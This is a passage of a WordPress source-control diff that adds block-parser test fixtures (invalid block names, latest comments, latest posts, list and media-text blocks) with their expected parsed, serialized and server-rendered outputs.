+        "innerBlocks": [],
+        "innerHTML": "<!-- wp:core/invalid-Capitals /-->\n",
+        "innerContent": [
+            "<!-- wp:core/invalid-Capitals /-->\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.serialized.html	(revision 56912)
@@ -0,0 +1,1 @@
+<p><!-- wp:core/invalid-Capitals /--></p>
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-Capitals.server.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:core/invalid-Capitals /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:core/invalid-$special /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.json	(revision 56912)
@@ -0,0 +1,12 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/freeform",
+        "isValid": true,
+        "attributes": {
+            "content": "<p><!-- wp:core/invalid-$special /--></p>"
+        },
+        "innerBlocks": [],
+        "originalContent": "<p><!-- wp:core/invalid-$special /--></p>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.parsed.json	(revision 56912)
@@ -0,0 +1,11 @@
+[
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "<!-- wp:core/invalid-$special /-->\n",
+        "innerContent": [
+            "<!-- wp:core/invalid-$special /-->\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.serialized.html	(revision 56912)
@@ -0,0 +1,1 @@
+<p><!-- wp:core/invalid-$special /--></p>
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__invalid-special.server.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:core/invalid-$special /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:latest-comments {"displayAvatar":true,"displayExcerpt":true,"displayTimestamp":true} /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.json	(revision 56912)
@@ -0,0 +1,15 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/latest-comments",
+        "isValid": true,
+        "attributes": {
+            "commentsToShow": 5,
+            "displayAvatar": true,
+            "displayDate": true,
+            "displayExcerpt": true
+        },
+        "innerBlocks": [],
+        "originalContent": ""
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.parsed.json	(revision 56912)
@@ -0,0 +1,22 @@
+[
+    {
+        "blockName": "core/latest-comments",
+        "attrs": {
+            "displayAvatar": true,
+            "displayExcerpt": true,
+            "displayTimestamp": true
+        },
+        "innerBlocks": [],
+        "innerHTML": "",
+        "innerContent": []
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.serialized.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:latest-comments /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-comments.server.html	(revision 56912)
@@ -0,0 +1,1 @@
+<div class="wp-block-latest-comments has-avatars has-dates has-excerpts no-comments">No comments to show.</div>
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:core/latest-posts {"postsToShow":5,"displayPostDate":false} /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.json	(revision 56912)
@@ -0,0 +1,17 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/latest-posts",
+        "isValid": true,
+        "attributes": {
+            "postsToShow": 5,
+            "displayPostDate": false,
+            "postLayout": "list",
+            "columns": 3,
+            "order": "desc",
+            "orderBy": "date"
+        },
+        "innerBlocks": [],
+        "originalContent": ""
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.parsed.json	(revision 56912)
@@ -0,0 +1,21 @@
+[
+    {
+        "blockName": "core/latest-posts",
+        "attrs": {
+            "postsToShow": 5,
+            "displayPostDate": false
+        },
+        "innerBlocks": [],
+        "innerHTML": "",
+        "innerContent": []
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.serialized.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:latest-posts /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts.server.html	(revision 56912)
@@ -0,0 +1,1 @@
+<ul class="wp-block-latest-posts"></ul>
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:core/latest-posts {"postsToShow":5,"displayPostDate":true} /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.json	(revision 56912)
@@ -0,0 +1,17 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/latest-posts",
+        "isValid": true,
+        "attributes": {
+            "postsToShow": 5,
+            "displayPostDate": true,
+            "postLayout": "list",
+            "columns": 3,
+            "order": "desc",
+            "orderBy": "date"
+        },
+        "innerBlocks": [],
+        "originalContent": ""
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.parsed.json	(revision 56912)
@@ -0,0 +1,21 @@
+[
+    {
+        "blockName": "core/latest-posts",
+        "attrs": {
+            "postsToShow": 5,
+            "displayPostDate": true
+        },
+        "innerBlocks": [],
+        "innerHTML": "",
+        "innerContent": []
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.serialized.html	(revision 56912)
@@ -0,0 +1,1 @@
+<!-- wp:latest-posts {"displayPostDate":true} /-->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.server.html	(revision 56912)
@@ -0,0 +1,1 @@
+<ul class="wp-block-latest-posts has-dates"></ul>
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:core/list -->
+<ul><li>Text & Headings</li><li>Images & Videos</li><li>Galleries</li><li>Embeds, like YouTube, Tweets, or other WordPress posts.</li><li>Layout blocks, like Buttons, Hero Images, Separators, etc.</li><li>And <em>Lists</em> like this one of course :)</li></ul>
+<!-- /wp:core/list -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.json	(revision 56912)
@@ -0,0 +1,13 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/list",
+        "isValid": true,
+        "attributes": {
+            "ordered": false,
+            "values": "<li>Text &amp; Headings</li><li>Images &amp; Videos</li><li>Galleries</li><li>Embeds, like YouTube, Tweets, or other WordPress posts.</li><li>Layout blocks, like Buttons, Hero Images, Separators, etc.</li><li>And <em>Lists</em> like this one of course :)</li>"
+        },
+        "innerBlocks": [],
+        "originalContent": "<ul><li>Text & Headings</li><li>Images & Videos</li><li>Galleries</li><li>Embeds, like YouTube, Tweets, or other WordPress posts.</li><li>Layout blocks, like Buttons, Hero Images, Separators, etc.</li><li>And <em>Lists</em> like this one of course :)</li></ul>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.parsed.json	(revision 56912)
@@ -0,0 +1,20 @@
+[
+    {
+        "blockName": "core/list",
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n<ul><li>Text & Headings</li><li>Images & Videos</li><li>Galleries</li><li>Embeds, like YouTube, Tweets, or other WordPress posts.</li><li>Layout blocks, like Buttons, Hero Images, Separators, etc.</li><li>And <em>Lists</em> like this one of course :)</li></ul>\n",
+        "innerContent": [
+            "\n<ul><li>Text & Headings</li><li>Images & Videos</li><li>Galleries</li><li>Embeds, like YouTube, Tweets, or other WordPress posts.</li><li>Layout blocks, like Buttons, Hero Images, Separators, etc.</li><li>And <em>Lists</em> like this one of course :)</li></ul>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:list -->
+<ul><li>Text &amp; Headings</li><li>Images &amp; Videos</li><li>Galleries</li><li>Embeds, like YouTube, Tweets, or other WordPress posts.</li><li>Layout blocks, like Buttons, Hero Images, Separators, etc.</li><li>And <em>Lists</em> like this one of course :)</li></ul>
+<!-- /wp:list -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__list__ul.server.html	(revision 56912)
@@ -0,0 +1,3 @@
+
+<ul><li>Text & Headings</li><li>Images & Videos</li><li>Galleries</li><li>Embeds, like YouTube, Tweets, or other WordPress posts.</li><li>Layout blocks, like Buttons, Hero Images, Separators, etc.</li><li>And <em>Lists</em> like this one of course :)</li></ul>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.html	(revision 56912)
@@ -0,0 +1,12 @@
+<!-- wp:media-text {"mediaId":17985,"mediaType":"image"} -->
+<div class="wp-block-media-text alignwide">
+	<figure class="wp-block-media-text__media">
+		<img src="http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg" alt=""/>
+	</figure>
+	<div class="wp-block-media-text__content">
+		<!-- wp:paragraph {"placeholder":"Content…","fontSize":"large"} -->
+		<p class="has-large-font-size">My Content</p>
+		<!-- /wp:paragraph -->
+	</div>
+</div>
+<!-- /wp:media-text -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.json	(revision 56912)
@@ -0,0 +1,33 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/media-text",
+        "isValid": true,
+        "attributes": {
+            "align": "wide",
+            "mediaAlt": "",
+            "mediaPosition": "left",
+            "mediaId": 17985,
+            "mediaUrl": "http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg",
+            "mediaType": "image",
+            "mediaWidth": 50,
+            "isStackedOnMobile": false
+        },
+        "innerBlocks": [
+            {
+                "clientId": "_clientId_0",
+                "name": "core/paragraph",
+                "isValid": true,
+                "attributes": {
+                    "content": "My Content",
+                    "dropCap": false,
+                    "placeholder": "Content…",
+                    "fontSize": "large"
+                },
+                "innerBlocks": [],
+                "originalContent": "<p class=\"has-large-font-size\">My Content</p>"
+            }
+        ],
+        "originalContent": "<div class=\"wp-block-media-text alignwide\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<img src=\"http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg\" alt=\"\"/>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t\n\t</div>\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.parsed.json	(revision 56912)
@@ -0,0 +1,38 @@
+[
+    {
+        "blockName": "core/media-text",
+        "attrs": {
+            "mediaId": 17985,
+            "mediaType": "image"
+        },
+        "innerBlocks": [
+            {
+                "blockName": "core/paragraph",
+                "attrs": {
+                    "placeholder": "Content…",
+                    "fontSize": "large"
+                },
+                "innerBlocks": [],
+                "innerHTML": "\n\t\t<p class=\"has-large-font-size\">My Content</p>\n\t\t",
+                "innerContent": [
+                    "\n\t\t<p class=\"has-large-font-size\">My Content</p>\n\t\t"
+                ]
+            }
+        ],
+        "innerHTML": "\n<div class=\"wp-block-media-text alignwide\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<img src=\"http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg\" alt=\"\"/>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t\n\t</div>\n</div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-media-text alignwide\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<img src=\"http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg\" alt=\"\"/>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t",
+            null,
+            "\n\t</div>\n</div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.serialized.html	(revision 56912)
@@ -0,0 +1,5 @@
+<!-- wp:media-text {"mediaId":17985,"mediaType":"image"} -->
+<div class="wp-block-media-text alignwide"><figure class="wp-block-media-text__media"><img src="http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg" alt=""/></figure><div class="wp-block-media-text__content"><!-- wp:paragraph {"placeholder":"Content…","fontSize":"large"} -->
+<p class="has-large-font-size">My Content</p>
+<!-- /wp:paragraph --></div></div>
+<!-- /wp:media-text -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text.server.html	(revision 56912)
@@ -0,0 +1,12 @@
+
+<div class="wp-block-media-text alignwide">
+	<figure class="wp-block-media-text__media">
+		<img src="http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg" alt=""/>
+	</figure>
+	<div class="wp-block-media-text__content">
+		
+		<p class="has-large-font-size">My Content</p>
+		
+	</div>
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.html	(revision 56912)
@@ -0,0 +1,12 @@
+<!-- wp:media-text {"align":"none","mediaId":17985,"mediaType":"image"} -->
+<div class="wp-block-media-text">
+	<figure class="wp-block-media-text__media">
+		<img src="http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg" alt="my alt"/>
+	</figure>
+	<div class="wp-block-media-text__content">
+		<!-- wp:paragraph {"placeholder":"Content…","fontSize":"large"} -->
+		<p class="has-large-font-size">Content</p>
+		<!-- /wp:paragraph -->
+	</div>
+</div>
+<!-- /wp:media-text -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.json	(revision 56912)
@@ -0,0 +1,33 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/media-text",
+        "isValid": true,
+        "attributes": {
+            "align": "none",
+            "mediaAlt": "my alt",
+            "mediaPosition": "left",
+            "mediaId": 17985,
+            "mediaUrl": "http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg",
+            "mediaType": "image",
+            "mediaWidth": 50,
+            "isStackedOnMobile": false
+        },
+        "innerBlocks": [
+            {
+                "clientId": "_clientId_0",
+                "name": "core/paragraph",
+                "isValid": true,
+                "attributes": {
+                    "content": "Content",
+                    "dropCap": false,
+                    "placeholder": "Content…",
+                    "fontSize": "large"
+                },
+                "innerBlocks": [],
+                "originalContent": "<p class=\"has-large-font-size\">Content</p>"
+            }
+        ],
+        "originalContent": "<div class=\"wp-block-media-text\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<img src=\"http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg\" alt=\"my alt\"/>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t\n\t</div>\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.parsed.json	(revision 56912)
@@ -0,0 +1,39 @@
+[
+    {
+        "blockName": "core/media-text",
+        "attrs": {
+            "align": "none",
+            "mediaId": 17985,
+            "mediaType": "image"
+        },
+        "innerBlocks": [
+            {
+                "blockName": "core/paragraph",
+                "attrs": {
+                    "placeholder": "Content…",
+                    "fontSize": "large"
+                },
+                "innerBlocks": [],
+                "innerHTML": "\n\t\t<p class=\"has-large-font-size\">Content</p>\n\t\t",
+                "innerContent": [
+                    "\n\t\t<p class=\"has-large-font-size\">Content</p>\n\t\t"
+                ]
+            }
+        ],
+        "innerHTML": "\n<div class=\"wp-block-media-text\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<img src=\"http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg\" alt=\"my alt\"/>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t\n\t</div>\n</div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-media-text\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<img src=\"http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg\" alt=\"my alt\"/>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t",
+            null,
+            "\n\t</div>\n</div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.serialized.html	(revision 56912)
@@ -0,0 +1,5 @@
+<!-- wp:media-text {"align":"none","mediaId":17985,"mediaType":"image"} -->
+<div class="wp-block-media-text"><figure class="wp-block-media-text__media"><img src="http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg" alt="my alt"/></figure><div class="wp-block-media-text__content"><!-- wp:paragraph {"placeholder":"Content…","fontSize":"large"} -->
+<p class="has-large-font-size">Content</p>
+<!-- /wp:paragraph --></div></div>
+<!-- /wp:media-text -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.server.html	(revision 56912)
@@ -0,0 +1,12 @@
+
+<div class="wp-block-media-text">
+	<figure class="wp-block-media-text__media">
+		<img src="http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg" alt="my alt"/>
+	</figure>
+	<div class="wp-block-media-text__content">
+		
+		<p class="has-large-font-size">Content</p>
+		
+	</div>
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.html	(revision 56912)
@@ -0,0 +1,12 @@
+<!-- wp:media-text {"mediaId":17897,"mediaType":"video", "isStackedOnMobile": true} -->
+<div class="wp-block-media-text alignwide is-stacked-on-mobile">
+	<figure class="wp-block-media-text__media">
+		<video controls src="http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4"></video>
+	</figure>
+	<div class="wp-block-media-text__content">
+		<!-- wp:paragraph {"placeholder":"Content…","fontSize":"large"} -->
+		<p class="has-large-font-size">My Content</p>
+		<!-- /wp:paragraph -->
+	</div>
+</div>
+<!-- /wp:media-text -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.json	(revision 56912)
@@ -0,0 +1,33 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/media-text",
+        "isValid": true,
+        "attributes": {
+            "align": "wide",
+            "mediaAlt": "",
+            "mediaPosition": "left",
+            "mediaId": 17897,
+            "mediaUrl": "http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4",
+            "mediaType": "video",
+            "mediaWidth": 50,
+            "isStackedOnMobile": true
+        },
+        "innerBlocks": [
+            {
+                "clientId": "_clientId_0",
+                "name": "core/paragraph",
+                "isValid": true,
+                "attributes": {
+                    "content": "My Content",
+                    "dropCap": false,
+                    "placeholder": "Content…",
+                    "fontSize": "large"
+                },
+                "innerBlocks": [],
+                "originalContent": "<p class=\"has-large-font-size\">My Content</p>"
+            }
+        ],
+        "originalContent": "<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\">\n\t<figure class=\"wp-block-media-text__media\">\n\t\t<video controls src=\"http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4\"></video>\n\t</figure>\n\t<div class=\"wp-block-media-text__content\">\n\t\t\n\t</div>\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.parsed.json	(revision 56912)
@@ -0,0 +1,39 @@
+[
+    {
+        "blockName": "core/media-text",
+        "attrs": {
+            "mediaId": 17897,
+            "mediaType": "video",
+            "isStackedOnMobile": true
+        },
+        "innerBlocks": [
+            {
+                "blockName": "core/paragraph",
+                "attrs": {
+                    "placeholder": "Content…",
+                    "fontSize": "large"
+                },
+                "innerBlocks": [],
